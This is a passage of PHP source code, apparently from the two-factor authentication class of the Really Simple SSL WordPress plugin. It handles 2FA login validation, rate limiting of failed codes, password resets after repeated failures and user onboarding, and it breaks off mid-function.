        $two_fa_optional_roles = array_unique(array_merge($two_fa_optional_roles, $two_fa_optional_roles_totp));

        foreach ($enabled_providers_meta as $enabled_provider) {
            $status = $enabled_provider::get_status($user);
            if ('disabled' === $status) {
                if (is_object($provider) && get_class($provider) === $enabled_provider) {
                    $provider = [];
                }
            }
	        if ('active' === $status ) {
		        return true;
	        }

	        if ('open' === $status) {
		        return true;
	        }
        }

        foreach ($user->roles as $role) {
            // If not forced, and not optional, or disabled, or provider not enabled.
            if (!in_array($role, $two_fa_forced_roles, true)
                && !in_array($role, $two_fa_optional_roles, true)
            ) {
                // Skip 2FA.
                return false;
            }
        }

        return !empty($provider);
    }

    /**
     * Show an expired onboarding error message.
     *
     * @param WP_Error $errors Error object to add the error to.
     *
     * @return WP_Error The updated error object.
     */
    public static function show_expired_onboarding_error(WP_Error $errors): WP_Error
    {
        if (isset($_GET['nonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['nonce'])), 'rsssl_expired')) {
            if (isset($_GET['errors']) && 'expired' === $_GET['errors']) {
                $errors->add('expired', __('Your 2FA grace period expired. Please contact your site administrator to regain access and to configure 2FA.', 'really-simple-ssl'));
            }
        }
        return $errors;
    }

    /**
     * Handle the browser-based login.
     *
     * @param string $user_login Username.
     * @param WP_User $user WP_User object of the logged-in user.
     *
     * @throws Exception If the onboarding process fails.
     * @since 0.1-dev
     */
    public static function rsssl_wp_login(string $user_login, WP_User $user): void
    {
        switch (Rsssl_Two_Factor_Settings::get_login_action($user->ID)) {
            case 'onboarding':
                wp_clear_auth_cookie();
                self::is_onboarding_complete($user);
                exit;
            case 'expired':
                // Destroy the current session for the user.
                self::destroy_current_session_for_user($user);
                wp_clear_auth_cookie();
                self::display_expired_onboarding_error($user);
                exit;
            case 'totp':
            case 'email':
                wp_clear_auth_cookie();
                self::show_two_factor_login($user);
                exit;
            case 'login':
            default:
                break;
        }
    }

    /**
     * Destroy the known password-based authentication sessions for the current user.
     *
     * Is there a better way of finding the current session token without
     * having access to the authentication cookies which are just being set
     * on the first password-based authentication request.
     *
     * @param WP_User $user User object.
     *
     * @return void
     */
    public static function destroy_current_session_for_user(WP_User $user): void
    {
        $session_manager = WP_Session_Tokens::get_instance($user->ID);

        foreach (self::$password_auth_tokens as $auth_token) {
            $session_manager->destroy($auth_token);
        }
    }

    /**
     * Prevent login through XML-RPC and REST API for users with at least one
     * two-factor method enabled.
     *
     * @param WP_User|WP_Error $user Valid WP_User only if the previous filters
     *                                have verified and confirmed the
     *                                authentication credentials.
     *
     * @return WP_User|WP_Error
     */
    public static function rsssl_filter_authenticate($user)
    {
        if ($user instanceof WP_User && self::is_api_request() && self::is_user_using_two_factor($user) && !self::is_user_api_login_enabled($user->ID)) {
            return new WP_Error(
                'invalid_application_credentials',
                __('API login for user disabled.', 'really-simple-ssl')
            );
        }

        return $user;
    }

    /**
     * Prevent login cookies being set on login for Two Factor users.
     *
     * This makes it so that Core never sends the auth cookies. `login_form_validate_2fa()` will send them manually once the 2nd factor has been verified.
     *
     * @param WP_User|WP_Error $user Valid WP_User only if the previous filters
     *                                have verified and confirmed the
     *                                authentication credentials.
     *
     * @return WP_User|WP_Error
     */
    public static function rsssl_filter_authenticate_block_cookies($user)
    {
        /*
         * NOTE: The `login_init` action is checked for here to ensure we're within the regular login flow,
         * rather than through an unsupported 3rd-party login process which this plugin doesn't support.
         */
        if ($user instanceof WP_User && self::is_user_using_two_factor($user) && did_action('login_init')) {
            add_filter('send_auth_cookies', '__return_false', PHP_INT_MAX);
        }

        return $user;
    }

    /**
     * If the current user can log in via API requests such as XML-RPC and REST.
     *
     * @param integer $user_id User ID.
     *
     * @return boolean
     */
    public static function is_user_api_login_enabled(int $user_id): bool
    {
        return (bool)apply_filters('rsssl_two_factor_user_api_login_enable', false, $user_id);
    }

    /**
     * Is the current request an XML-RPC or REST request.
     *
     * @return boolean
     */
    public static function is_api_request(): bool
    {
        if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) {
            return true;
        }

        if (defined('REST_REQUEST') && REST_REQUEST) {
            return true;
        }

        return false;
    }

    /**
     * Display the login form.
     *
     * @param WP_User $user WP_User object of the logged-in user.
     *
     * @throws Exception If the login nonce creation fails.
     * @since 0.1-dev
     */
    public static function show_two_factor_login(WP_User $user): void
    {

        if (!$user) {
            $user = wp_get_current_user();
        }

        $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID);
        if (!$login_nonce) {
            $error = new WP_Error();
            $error->add('login_nonce_creation_failed', __('Failed to create a login nonce.', 'really-simple-ssl'));
        }

        $redirect_to = isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : admin_url();
        $provider = Rsssl_Two_Factor_Settings::get_login_action($user->ID);

        self::login_html($user, $login_nonce['rsssl_key'], $redirect_to);
    }

    /**
     * Displays a message informing the user that their account has had failed login attempts.
     *
     * @param WP_User $user WP_User object of the logged-in user.
     */
    public static function maybe_show_last_login_failure_notice(WP_User $user): void
    {
        $last_failed_two_factor_login = (int)get_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY, true);
        $failed_login_count = (int)get_user_meta(
            $user->ID,
            self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY,
            true
        );

        if ($last_failed_two_factor_login) {
            echo '<div id="login_notice" class="message"><strong>';
            // translators: %1$s is the number of failed login attempts, %2$s is the time since the last failed login.
            printf(
                esc_html(
                    _n(
                        'Warning: There has been %1$s failed login attempt on your account without providing a valid two-factor token. The last failed login occurred %2$s ago. If this wasn\'t you, you should reset your password.',
                        'Warning: %1$s failed login attempts have been detected on your account without providing a valid two-factor token. The last failed login occurred %2$s ago. If this wasn\'t you, you should reset your password.',
                        $failed_login_count,
                        'really-simple-ssl'
                    )
                ),
                esc_html(number_format_i18n($failed_login_count)),
                esc_html(human_time_diff($last_failed_two_factor_login, time()))
            );
            echo '</strong></div>';
        }
    }

    /**
     * Show the password reset notice if the user's password was reset.
     *
     * They were also sent an email notification in `send_password_reset_email()`, but email sent from a typical
     * web server is not reliable enough to trust completely.
     *
     * @param WP_Error $errors The error object.
     *
     * @return WP_Error
     */
    public static function rsssl_maybe_show_reset_password_notice(WP_Error $errors): WP_Error
    {
        if ('incorrect_password' !== $errors->get_error_code()) {
            return $errors;
        }

        if (!isset($_POST['log'])) {
            return $errors;
        }

        $user_name = sanitize_user(wp_unslash($_POST['log']));
        $attempted_user = get_user_by('login', $user_name);
        if ( $user_name && ! $attempted_user && strpos( $user_name, '@') !== false ) {
            $attempted_user = get_user_by('email', $user_name);
        }

        if (!$attempted_user) {
            return $errors;
        }

        $password_was_reset = get_user_meta($attempted_user->ID, self::RSSSL_USER_PASSWORD_WAS_RESET_KEY, true);

        if (!$password_was_reset) {
            return $errors;
        }

        $errors->remove('incorrect_password');
        $errors->add(
            'rsssl_two_factor_password_reset',
            sprintf(
            /* translators: %s: URL to reset password */
                __(
                    'Your password was reset because of too many failed Two Factor attempts. You will need to <a href="%s">create a new password</a> to regain access. Please check your email for more information.',
                    'really-simple-ssl'
                ),
                esc_url(add_query_arg('action', 'lostpassword', rsssl_wp_login_url()))
            )
        );

        return $errors;
    }

    /**
     * Clear the password reset notice after the user resets their password.
     *
     * @param WP_User $user WP_User object of the logged-in user.
     */
    public static function rsssl_clear_password_reset_notice(WP_User $user): void
    {
        delete_user_meta($user->ID, self::RSSSL_USER_PASSWORD_WAS_RESET_KEY);
    }

    /**
     * Generates the html form for the second step of the authentication process.
     *
     * @param WP_User $user WP_User object of the logged-in user.
     * @param string $login_nonce A string nonce stored in usermeta.
     * @param string $redirect_to The URL to which the user would like to be redirected.
     * @param string $error_msg Optional. Login error message.
     * @param string|object $provider An override to the provider.
     *
     * @throws Exception If the login nonce creation fails.
     * @since 0.1-dev
     */
    public static function login_html(
        WP_User $user,
        string  $login_nonce,
        string  $redirect_to,
        string  $error_msg = '',
                $provider = null
    ): void
    {
        if (empty($provider)) {
            $provider = self::get_primary_provider_for_user($user);
        } elseif (is_string($provider) && method_exists($provider, 'get_instance')) {
            $provider = call_user_func(array($provider, 'get_instance'));
        }

        if (!$provider) {
            return;
        }
        $provider_class = get_class($provider);

        $available_providers = self::get_available_providers_for_user($user);
        $backup_providers = array_diff_key($available_providers, array($provider_class => null));
        $interim_login = isset($_REQUEST['interim-login']); // phpcs:ignore WordPress.Security.NonceVerification.Recommended

        $rememberme = (int)self::rememberme();

        if (!function_exists('login_header')) {
            // We really should migrate login_header() out of `wp-login.php` so it can be called from an includes file.
            include_once __DIR__ . '/function-login-header.php';
        }

        // Load the login template.
        rsssl_load_template(
            'login.php',
            compact(
                'login_nonce',
                'redirect_to',
                'error_msg',
                'provider',
                'backup_providers',
                'interim_login',
                'rememberme',
                'provider_class',
                'user'
            ),
            rsssl_path . 'assets/templates/two_fa/'
        );

        if (!function_exists('login_footer')) {
            include_once __DIR__ . '/function-login-footer.php';
        }

        login_footer();
    }

    /**
     * Generate the two-factor login form URL.
     *
     * @param array $params List of query argument pairs to add to the URL.
     * @param string $scheme URL scheme context.
     *
     * @return string
     */
    public static function login_url(array $params = array(), string $scheme = 'login'): string
    {
        if (!is_array($params)) {
            $params = array();
        }

        $params = urlencode_deep($params);

        return add_query_arg($params, site_url('wp-login.php', $scheme));
    }

    /**
     * Determine the minimum wait between two factor attempts for a user.
     *
     * This implements an increasing backoff, requiring an attacker to wait longer
     * each time to attempt to brute-force the login.
     *
     * @param WP_User $user The user being operated upon.
     *
     * @return int Time delay in seconds between login attempts.
     */
    public static function get_user_time_delay(WP_User $user): int
    {
        /**
         * Filter the minimum time duration between two factor attempts.
         *
         * @param int $rate_limit The number of seconds between two factor attempts.
         */
        $rate_limit = apply_filters('rsssl_two_factor_rate_limit', 1);

        $user_failed_logins = get_user_meta($user->ID, self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY, true);
        if ($user_failed_logins) {
            $rate_limit = (2 ** $user_failed_logins) * $rate_limit;

            /**
             * Filter the maximum time duration a user may be locked out from retrying two-factor authentications.
             *
             * @param int $max_rate_limit The maximum number of seconds a user might be locked out for. Default 15 minutes.
             */
            $max_rate_limit = apply_filters('rsssl_two_factor_max_rate_limit', 15 * MINUTE_IN_SECONDS);

            $rate_limit = min($max_rate_limit, $rate_limit);
        }

        /**
         * Filters the per-user time duration between two-factor login attempts.
         *
         * @param int $rate_limit The number of seconds between two factor attempts.
         * @param WP_User $user The user attempting to log in.
         */
        return apply_filters('rsssl_two_factor_user_rate_limit', $rate_limit, $user);
    }

    /**
     * Determine if a time delay between user two-factor login attempts should be triggered.
     *
     * @param WP_User $user The User.
     *
     * @return bool True if rate limit is okay, false if not.
     * @since 0.8.0
     */
    public static function is_user_rate_limited(WP_User $user): bool
    {
        $rate_limit = self::get_user_time_delay($user);
        $last_failed = get_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY, true);

        $rate_limited = false;
        if ($last_failed && $last_failed + $rate_limit > time()) {
            $rate_limited = true;
        }

        /**
         * Filter whether this login attempt is rate limited or not.
         *
         * This allows for dedicated plugins to rate limit two-factor login attempts
         * based on their own rules.
         *
         * @param bool $rate_limited Whether the user login is rate limited.
         * @param WP_User $user The user attempting to log in.
         */
        return apply_filters('rsssl_two_factor_is_user_rate_limited', $rate_limited, $user);
    }

    /**
     * Login form validation.
     *
     * @throws Exception If the login nonce creation fails.
     * @since 0.1-dev
     */
    public static function rsssl_login_form_validate_2fa_email(): void
    {
        [$wp_auth_id, $nonce, $provider, $redirect_to] = self::get_request_data();

        if (isset($_SERVER['REQUEST_METHOD']) && 'POST' === strtoupper((sanitize_text_field(wp_unslash($_SERVER['REQUEST_METHOD']))))) {
            $is_post_request = true;
        } else {
            $is_post_request = false;
        }

        if (!$wp_auth_id || !$nonce) {
            return;
        }

        $user = get_userdata($wp_auth_id);
        if (!$user) {
            return;
        }

        if ($provider) {
            $providers = self::get_available_providers_for_user($user);
            if (isset($providers[$provider])) {
                $provider = $providers[$provider];
            } else {
                new WP_Error('cheating_detected', __('Cheatin&#8217; uh?', 'really-simple-ssl'));
                status_header(403);
            }
        } else {
            $provider = self::get_primary_provider_for_user($user);
        }

        if ($provider->user_token_has_expired($user->ID)) {
            self::login_html(
                $user,
                '',
                '',
                esc_html__(
                    'Your verification code expired, click “Resend Code” to receive a new verification code.',
                    'really-simple-ssl'
                ),
                $provider
            );
            exit;
        }

        if (true !== Rsssl_Two_Fa_Authentication::verify_login_nonce($user->ID, $nonce)) {
            wp_safe_redirect(home_url());
            exit;
        }

        // Allow the provider to re-send codes, etc.
        if (true === $provider->pre_process_authentication($user)) {
            $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID);
            if (!$login_nonce) {
                $error = new WP_Error();
                $error->add(
                    'login_nonce_creation_failed',
                    __('Failed to create a login nonce.', 'really-simple-ssl')
                );
            }

            self::login_html($user, $login_nonce['rsssl_key'], $redirect_to, '', $provider);
            exit;
        }

        // If the form hasn't been submitted, just display the auth form.
        if (!$is_post_request) {
            self::handle_not_post_request($user, $provider);
            exit;
        }

        // Rate limit two-factor authentication attempts.
        if (true === self::is_user_rate_limited($user)) {
            $time_delay = self::get_user_time_delay($user);
            $last_login = get_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY, true);

            $error = new WP_Error(
                'rsssl_two_factor_too_fast',
                sprintf(
                /* translators: %s: time delay between login attempts */
                    __(
                        'Too many invalid verification codes, you can try again in %s. This limit protects your account against automated attacks.',
                        'really-simple-ssl'
                    ),
                    human_time_diff($last_login + $time_delay)
                )
            );

            do_action('rsssl_wp_login_failed', $user->user_login, $error);//phpcs:ignore

            $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID);
            if (!$login_nonce) {
                $error = new WP_Error();
                $error->add(
                    'login_nonce_creation_failed',
                    __('Failed to create a login nonce.', 'really-simple-ssl')
                );
            }

            self::login_html(
                $user,
                $login_nonce['rsssl_key'],
                $redirect_to,
                esc_html($error->get_error_message()),
                $provider
            );
            exit;
        }

        // Ask the provider to verify the second factor.
        if (true !== $provider->validate_authentication($user)) {
            do_action(
                'rsssl_wp_login_failed',
                $user->user_login,
                new WP_Error(
                    'rsssl_two_factor_invalid',
                    __('Invalid verification code.', 'really-simple-ssl')));//phpcs:ignore

            // Store the last time a failed login occurred.
            update_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY, time());

            // Store the number of failed login attempts.
            update_user_meta(
                $user->ID,
                self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY,
                1 + (int)get_user_meta($user->ID, self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY, true)
            );

            if (self::should_reset_password($user->ID)) {
                self::reset_compromised_password($user);
                self::send_password_reset_emails($user);
                self::show_password_reset_error();
                exit;
            }

            $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID);
            if (!$login_nonce) {
                $error = new WP_Error();
                $error->add(
                    'login_nonce_creation_failed',
                    __('Failed to create a login nonce.', 'really-simple-ssl')
                );
            }

            if ($provider->user_token_has_expired($user->ID)) {
                self::login_html(
                    $user,
                    $login_nonce['rsssl_key'],
                    $redirect_to,
                    esc_html__(
                        'Your verification code expired, click “Resend Code” to receive a new verification code.',
                        'really-simple-ssl'
                    ),
                    $provider
                );
                exit;
            }

            self::login_html(
                $user,
                $login_nonce['rsssl_key'],
                $redirect_to,
                esc_html__('Invalid verification code.', 'really-simple-ssl'),
                $provider
            );
            exit;
        }

        Rsssl_Two_Fa_Authentication::delete_login_nonce($user->ID);
        delete_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY);
        delete_user_meta($user->ID, self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY);

        $rememberme = false;
        if (isset($_REQUEST['rememberme']) && filter_var(wp_unslash($_REQUEST['rememberme']), FILTER_VALIDATE_BOOLEAN)) {
            $rememberme = true;
        }

        /*
         * NOTE: This filter removal is not normally required, this is included for protection against
         * a plugin/two factor provider which runs the `authenticate` filter during its validation.
         * Such a plugin would cause self::rsssl_filter_authenticate_block_cookies() to run and add this filter.
         */
        remove_filter('send_auth_cookies', '__return_false', PHP_INT_MAX);
        wp_set_auth_cookie($user->ID, $rememberme);

        do_action('rsssl_two_factor_user_authenticated', $user);

        // Must be global because that's how login_header() uses it.
        global $interim_login;
        $interim_login = isset($_REQUEST['interim-login']); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited,WordPress.Security.NonceVerification.Recommended

        if ($interim_login) {
            $customize_login = isset($_REQUEST['customize-login']);
            if ($customize_login) {
                wp_enqueue_script('customize-base');
            }
            $message = '<p class="message">' . __(
                    'You have logged in successfully.',
                    'really-simple-ssl'
                ) . '</p>';
            $interim_login = 'success'; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
            login_header('', $message);
            ?>
            </div>
            <?php
            /** This action is documented in wp-login.php */
            do_action('login_footer');//phpcs:ignore
            ?>
            <?php if ($customize_login) : ?>
                <script type="text/javascript">setTimeout(function () {
                        new wp.customize.Messenger({
                            url: '<?php echo esc_url(wp_customize_url()); ?>',
                            channel: 'login'
                        }).send('login')
                    }, 1000);</script>
            <?php endif; ?>
            </body></html>
            <?php
            exit;
        }
        $redirect_to = apply_filters(
            'login_redirect',
            isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : '',
            isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : '',
            $user);//phpcs:ignore
        wp_safe_redirect($redirect_to);

        exit;
    }


    /**
     * Validate the two-factor login form.
     *
     * @return void
     * @throws Exception If the user is not logged in.
     */
    public static function rsssl_login_form_validate_2fa(): void
    {
        [$wp_auth_id, $nonce, $provider] = self::get_request_data();

        if (!$wp_auth_id || !$nonce) {
            return;
        }

        $user = get_userdata($wp_auth_id);
        if (!$user) {
            return;
        }

        // Check if nonce is valid.
        if (true !== Rsssl_Two_Fa_Authentication::verify_login_nonce($user->ID, $nonce)) {
            wp_safe_redirect(home_url());
            exit;
        }

        if ($provider) {
            $providers = self::get_available_providers_for_user($user);
            if (isset($providers[$provider])) {
                $provider = $providers[$provider];
            } else {
                wp_die(esc_html__('Cheatin&#8217; uh?', 'really-simple-ssl'), 403);
            }
        } else {
            $provider = self::get_primary_provider_for_user($user);
        }

        // Check if provider exists and is enabled.
        if (!$provider) {
            wp_die(esc_html__('Authentication provider not specified.', 'really-simple-ssl'), 403);
        }

        switch (get_class($provider)) {
            case Rsssl_Two_Factor_Email::class:
                self::rsssl_login_form_validate_2fa_email();
                break;
            case Rsssl_Two_Factor_Totp::class:
                if (true === self::is_user_rate_limited($user)) {
                    $time_delay = self::get_user_time_delay($user);
                    $last_login = get_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY, true);

                    $error = new WP_Error(
                        'rsssl_two_factor_too_fast',
                        sprintf(
                        /* translators: %s: time delay between login attempts */
                            __(
                                'Too many invalid verification codes, you can try again in %s. This limit protects your account against automated attacks.',
                                'really-simple-ssl'
                            ),
                            human_time_diff($last_login + $time_delay)
                        )
                    );

                    do_action('rsssl_wp_login_failed', $user->user_login, $error);//phpcs:ignore

                    $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID);
                    if (!$login_nonce) {
                        $error = new WP_Error();
                        $error->add(
                            'login_nonce_creation_failed',
                            __('Failed to create a login nonce.', 'really-simple-ssl')
                        );
                    }

                    self::login_html(
                        $user,
                        $login_nonce['rsssl_key'],
                        isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : '',
                        esc_html($error->get_error_message()),
                        $provider
                    );
                    exit;
                }
                // Validate TOTP.
                if (!$provider->validate_authentication($user)) {
                    do_action(
                        'rsssl_wp_login_failed',
                        $user->user_login,
                        new WP_Error(
                            'rsssl_two_factor_invalid',
                            __('Invalid verification code.', 'really-simple-ssl')));//phpcs:ignore

                    // Store the last time a failed login occurred.
                    update_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY, time());

                    // Store the number of failed login attempts.
                    update_user_meta(
                        $user->ID,
                        self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY,
                        1 + (int)get_user_meta($user->ID, self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY, true)
                    );

                    if (self::should_reset_password($user->ID)) {
                        self::reset_compromised_password($user);
                        self::send_password_reset_emails($user);
                        self::show_password_reset_error();
                        exit;
                    }

                    $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID);
                    if (!$login_nonce) {
                        wp_die(esc_html__('Failed to create a login nonce.', 'really-simple-ssl'));
                    }
                    self::login_html(
                        $user,
                        $login_nonce['rsssl_key'],
                        isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : '',
                        esc_html__('Invalid verification code.', 'really-simple-ssl'),
                        $provider
                    );
                    exit;
                }
                break;
            default:
                // Create a WP_Error object.
                $error = new WP_Error();
                // Add an error message to the object.
                $error->add('rsssl_two_factor_invalid_provider', __('Invalid two-factor authentication provider.', 'really-simple-ssl'));
                // Trigger the 'rsssl_wp_login_failed' action.
                do_action('rsssl_wp_login_failed', $user->user_login, $error);//phpcs:ignore
                // Redirect the user to the login page and clear all $_POST data.
                wp_safe_redirect(rsssl_wp_login_url());
                exit;
        }

        $rememberme = false;
        if (isset($_REQUEST['rememberme']) && filter_var(wp_unslash($_REQUEST['rememberme']), FILTER_VALIDATE_BOOLEAN)) {
            $rememberme = true;
        }
        // Authenticate the user.
        wp_set_auth_cookie($user->ID, $rememberme);

        do_action('rsssl_two_factor_user_authenticated', $user);
        // if the redirect is empty redirect to profile page.
        $redirect_to = apply_filters('login_redirect', sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])), sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])), $user);//phpcs:ignore
        wp_safe_redirect($redirect_to);
        exit;
    }

    /**
     * Handle the case when the request method is not POST.
     *
     * @param WP_User $user The user object.
     * @param string $provider The provider name.
     *
     * @return void
     * @throws Exception If the login nonce cannot be created.
     */
    private static function handle_not_post_request(WP_User $user, string $provider): void
    {
        $login_nonce = Rsssl_Two_Fa_Authentication::create_login_nonce($user->ID);
        if (!$login_nonce) {
            $error = new WP_Error();
            $error->add(
                'login_nonce_creation_failed',
                __('Failed to create a login nonce.', 'really-simple-ssl')
            );
        }

        self::login_html(
            $user,
            $login_nonce['rsssl_key'],
            isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : '',
            '',
            $provider
        );
    }

    /**
     * Get the request data for two-factor authentication.
     *
     * @return array An array containing the sanitized values of wp_auth_id, nonce, and provider.
     */
    private static function get_request_data(): array
    {
        $wp_auth_id = self::sanitize_request_data('rsssl-wp-auth-id', 0, 'absint');
        $nonce = self::sanitize_request_data('rsssl-wp-auth-nonce', '', 'wp_unslash');
        $provider = self::sanitize_request_data('rsssl-provider', false, 'wp_unslash');
        $redirect_to = self::sanitize_request_data('redirect_to', '', 'wp_unslash');

        return array($wp_auth_id, $nonce, $provider, $redirect_to);
    }

    /**
     * Sanitize request data.
     *
     * @param string $key The key to retrieve from the $_REQUEST array.
     * @param mixed $default_value The default value to return if the key does not exist in the $_REQUEST array.
     * @param callable $sanitize_callback The callback function used to sanitize the value.
     *
     * @return mixed The sanitized value if it exists in the $_REQUEST array, otherwise the default value.
     */
    private static function sanitize_request_data(string $key, $default_value, callable $sanitize_callback)
    {
        return !empty($_REQUEST[$key]) ? $sanitize_callback(sanitize_text_field(wp_unslash($_REQUEST[$key]))) : $default_value;
    }

    /**
     * Checks if a user's password should be reset based on the number of failed login attempts on the 2nd factor.
     *
     * @param int $user_id The ID of the user.
     *
     * @return bool True if the password should be reset, false otherwise.
     */
    public static function should_reset_password(int $user_id): bool
    {
        $failed_attempts = (int)get_user_meta($user_id, self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY, true);

        /**
         * Filters the maximum number of failed attempts on a 2nd factor before the user's
         * password will be reset. After a reasonable number of attempts, it's safe to assume
         * that the password has been compromised and an attacker is trying to brute force the 2nd
         * factor.
         *
         * ⚠️ `get_user_time_delay()` mitigates brute force attempts, but many 2nd factors --
         * like TOTP and backup codes -- are very weak on their own, so it's not safe to give
         * attackers unlimited attempts. Setting this to a very large number is strongly
         * discouraged.
         *
         * @param int $limit The number of attempts before the password is reset.
         */
        $failed_attempt_limit = apply_filters('rsssl_two_factor_failed_attempt_limit', 30);

        return $failed_attempts >= $failed_attempt_limit;
    }

    /**
     * Reset a compromised password.
     *
     * If we know that the password is compromised, we have the responsibility to reset it and inform the
     * user. `get_user_time_delay()` mitigates brute force attempts, but this acts as an extra layer of defense
     * which guarantees that attackers can't brute force it (unless they compromise the new password).
     *
     * @param WP_User $user The user who failed to log in.
     */
    public static function reset_compromised_password(WP_User $user): void
    {
        // Unhook because `wp_password_change_notification()` wouldn't notify the site admin when
        // their password is compromised.
        remove_action('after_password_reset', 'wp_password_change_notification');
        reset_password($user, wp_generate_password(25));
        update_user_meta($user->ID, self::RSSSL_USER_PASSWORD_WAS_RESET_KEY, true);
        add_action('after_password_reset', 'wp_password_change_notification');

        Rsssl_Two_Fa_Authentication::delete_login_nonce($user->ID);
        delete_user_meta($user->ID, self::RSSSL_USER_RATE_LIMIT_KEY);
        delete_user_meta($user->ID, self::RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY);
    }

    /**
     * Notify the user and admin that a password was reset for being compromised.
     *
     * @param WP_User $user The user whose password should be reset.
     */
    public static function send_password_reset_emails(WP_User $user): void
    {
        self::notify_user_password_reset($user);

        /**
         * Filters whether to email the site admin when a user's password has been
         * compromised and reset.
         *
         * @param bool $reset `true` to notify the admin, `false` to not notify them.
         */
        $notify_admin = apply_filters('rsssl_two_factor_notify_admin_user_password_reset', true);
        $admin_email = get_option('admin_email');

        if ($notify_admin && $admin_email !== $user->user_email) {
            self::notify_admin_user_password_reset($user);
        }
    }


    /**
     * Show the password reset error when on the login screen.
     */
    public static function show_password_reset_error(): void
    {
        $error = new WP_Error(
            'too_many_attempts',
            sprintf(
                '<p>%s</p>
				<p style="margin-top: 1em;">%s</p>',
                __(
                    'There have been too many failed two-factor authentication attempts, which often indicates that the password has been compromised. The password has been reset in order to protect the account.',
                    'really-simple-ssl'
                ),
                __(
                    'If you are the owner of this account, please check your email for instructions on regaining access.',
                    'really-simple-ssl'
                )
            )
        );

        login_header(__('Password Reset', 'really-simple-ssl'), '', $error);
        login_footer();
    }

    /**
     * Should the login session persist between sessions.
     *
     * @return boolean
     */
    public static function rememberme(): bool
    {
        $rememberme = false;

        if (!empty($_REQUEST['rememberme'])) {
            $rememberme = true;
        }

        return (bool)apply_filters('rsssl_two_factor_rememberme', $rememberme);
    }

    /**
     * Check if the user has completed the onboarding process.
     *
     * @param WP_User $user The WP_User object representing the user.
     *
     * @return void
     * @throws Exception If the onboarding screen template cannot be loaded.
     */
    private static function is_onboarding_complete(WP_User $user): void
    {
        // If the user has not completed the onboarding process, they should be shown the onboarding screen.
        $onboarding_complete = get_user_meta($user->ID, self::RSSSL_USER_META_ONBOARDING_COMPLETE, true);
        if (!$onboarding_complete) {
            self::onboarding_user_html($user);
        }
    }

    private static function display_expired_onboarding_error(): void {
	    rsssl_load_template(
		    'expired.php',
		    array(
			    'message' => esc_html__('Your 2FA grace period expired. Please contact your site administrator to regain access and to configure 2FA.', 'really-simple-ssl'),
                ),
		    rsssl_path . 'assets/templates/two_fa/'
	    );
    }

    /**
     * Generate the HTML for the onboarding screen for a given user.
     *
     * @param WP_User $user The user object.
     *
     * @return void
     * @throws Exception If the onboarding screen template cannot be loaded.
     */
    private static function onboarding_user_html(WP_User $user): void
    {
        // The variables needed for the onboarding screen.
        $onboarding_url = self::login_url(array('action' => 'rsssl_onboarding'), 'login_post');

        $provider = self::get_primary_provider_for_user($user);
        if ($provider) {
            $provider_class = get_class($provider);
        }

        $available_providers = self::get_available_providers_for_user($user);

        $interim_login = isset($_REQUEST['interim-login']); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
        $redirect_to = isset($_REQUEST['redirect_to']) ? sanitize_text_field(wp_unslash($_REQUEST['redirect_to'])) : '';
        $enabled_providers = Rsssl_Provider_Loader::get_enabled_providers_for_user($user);

        $ordered_array = array();
        foreach (self::WEIGHT as $key) {
            if (array_key_exists($key, $available_providers)) {
                $ordered_array[$key] = $available_providers[$key];
            }
        }
        wp_set_auth_cookie($user->ID, true);

        $available_providers = $ordered_array;

        // the first provider is the primary provider.
        $primary_provider = '';

        if (!empty($ordered_array)) {
            $shifted = array_shift($ordered_array);
            if ($shifted) {
                $primary_provider = get_class($shifted);
            }
        }

        $rememberme = (int)self::rememberme();

        if (!function_exists('login_header')) {
            // We really should migrate login_header() out of `wp-login.php` so it can be called from an includes file.
            include_once __DIR__ . '/function-login-header.php';
        }

        if (!function_exists('login_footer')) {
            // We really should migrate login_header() out of `wp-login.php` so it can be called from an includes file.
            include_once __DIR__ . '/function-login-footer.php';
        }

        // Check if the user is forced to use 2FA.
        $is_forced = Rsssl_Two_Factor_Settings::is_user_forced_to_use_2fa($user->ID);

        // Check if the user is in the grace period.
        $grace_period = Rsssl_Two_Factor_Settings::is_user_in_grace_period($user);

        //Add the styles for the two-factor authentication.
        add_action('login_enqueue_styles', array(__CLASS__, 'enqueue_onboarding_styles'));

        $uri = trailingslashit(rsssl_url) . 'assets/two-fa/rtl/two-fa-assets.min.js';
//		$backup_codes = Rsssl_Two_Factor_Settings::get_backup_codes( get_current_user_id() );
        add_filter('script_loader_tag', function ($tag, $handle) {
